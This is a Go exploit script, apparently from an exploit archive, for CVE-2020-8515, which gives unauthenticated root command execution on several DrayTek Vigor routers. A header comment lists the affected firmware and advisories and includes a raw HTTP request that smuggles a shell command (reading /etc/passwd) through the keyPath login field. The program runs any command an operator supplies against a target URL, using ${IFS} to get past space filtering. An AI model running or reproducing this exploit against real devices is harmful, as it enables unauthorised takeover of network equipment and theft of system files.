Multiple DrayTek Products – Pre-authentication Remote Root Code Execution
package main /* CVE-2020-8515: DrayTek pre-auth remote root RCE Mon Mar 30 2020 - 0xsha.io Affected: DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta You should upgrade as soon as possible to 1.5.1 firmware or later This issue has been fixed in Vigor3900/2960/300B v1.5.1. read more : https://www.skullarmy.net/2020/01/draytek-unauthenticated-rce-in-draytek.html https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/ https://thehackernews.com/2020/03/draytek-network-hacking.html https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/ exploiting using keyPath POST /cgi-bin/mainfunction.cgi HTTP/1.1 Host: 1.2.3.4 Content-Length: 89 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a */ import ( "fmt" "io/ioutil" "net/http" "net/url" "os" "strings" ) func usage() { fmt.Println("CVE-2020-8515 exploit by @0xsha ") fmt.Println("Usage : " + os.Args[0] + " URL " + "command" ) fmt.Println("E.G : " + os.Args[0] + " http://1.2.3.4 " + "\"uname -a\"" ) } func main() { if len(os.Args) < 3 { usage() os.Exit(-1) } targetUrl := os.Args[1] //cmd := "cat /etc/passwd" cmd := os.Args[2] // payload preparation vulnerableFile := "/cgi-bin/mainfunction.cgi" // specially crafted CMD // action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a payload :=`' /bin/sh -c 'CMD' '` payload = strings.ReplaceAll(payload,"CMD", cmd) bypass := strings.ReplaceAll(payload," ", "${IFS}") //PostForm call url encoder internally resp, err := http.PostForm(targetUrl+vulnerableFile , url.Values{"action": {"login"}, "keyPath": {bypass} , "loginUser": {"a"}, "loginPwd": {"a"} }) if err != nil{ fmt.Println("error connecting host") os.Exit(-1) } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil{ fmt.Println("error reading data") os.Exit(-1) } fmt.Println(string(body)) } |